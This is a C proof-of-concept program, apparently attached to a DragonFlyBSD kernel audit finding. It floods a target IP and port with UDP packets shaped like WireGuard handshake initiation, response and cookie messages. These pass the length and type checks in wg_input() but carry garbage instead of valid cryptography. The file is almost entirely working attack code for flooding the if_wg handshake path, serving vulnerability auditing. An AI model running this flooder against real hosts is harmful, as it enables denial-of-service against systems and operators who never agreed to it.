⬢ DragonFlyBSD Kernel Audit
DF-3311 / spam.c
← back to finding ↓ download raw
/*
 * spam.c - unprivileged UDP "network peer" packet generator for if_wg.
 * Sends WireGuard-shaped packets that pass the WG_PKT_IS_* length/type
 * checks in wg_input() but need no valid crypto (MAC validation happens
 * later, in the handshake worker):
 *   - 148-byte packets, first word LE 1  (handshake initiation)
 *   -  92-byte packets, first word LE 2  (handshake response)
 *   -  64-byte packets, first word LE 3  (cookie reply)
 *
 * usage: spam <ip> <port> <iters> [tag]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

int main(int argc, char **argv)
{
	struct sockaddr_in sin;
	uint8_t pkt[148];
	int s, i, n, sent = 0, errs = 0;
	unsigned long iter;
	uint32_t seq = 0;

	if (argc < 4) {
		fprintf(stderr, "usage: spam <ip> <port> <iters> [tag]\n");
		return 1;
	}
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return 1; }
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons((uint16_t)atoi(argv[2]));
	if (inet_pton(AF_INET, argv[1], &sin.sin_addr) != 1) {
		fprintf(stderr, "bad ip\n"); return 1;
	}

	iter = strtoul(argv[3], NULL, 0);
	n = 0;
	for (; iter == 0 || n < (int)iter; n++) {
		int len;
		memset(pkt, (uint8_t)(seq & 0xff), sizeof(pkt));
		/* type word: htole32(1|2|3), rest garbage (checked later
		 * by cookie_checker_validate_macs, not by the enqueue path) */
		{ uint32_t t = (uint32_t)(1 + (seq % 3)); memcpy(pkt, &t, 4); }
		len = (seq % 3 == 0) ? 148 : ((seq % 3 == 1) ? 92 : 64);
		*(uint32_t *)(pkt + 4) = seq;
		seq++;
		if (sendto(s, pkt, len, 0, (struct sockaddr *)&sin,
			   sizeof(sin)) < 0) {
			errs++;
			if (errno == ENOBUFS)
				usleep(50);
		} else {
			sent++;
		}
	}
	fprintf(stderr, "spam[%s]: sent=%d errs=%d\n",
	    argc > 4 ? argv[4] : "-", sent, errs);
	return 0;
}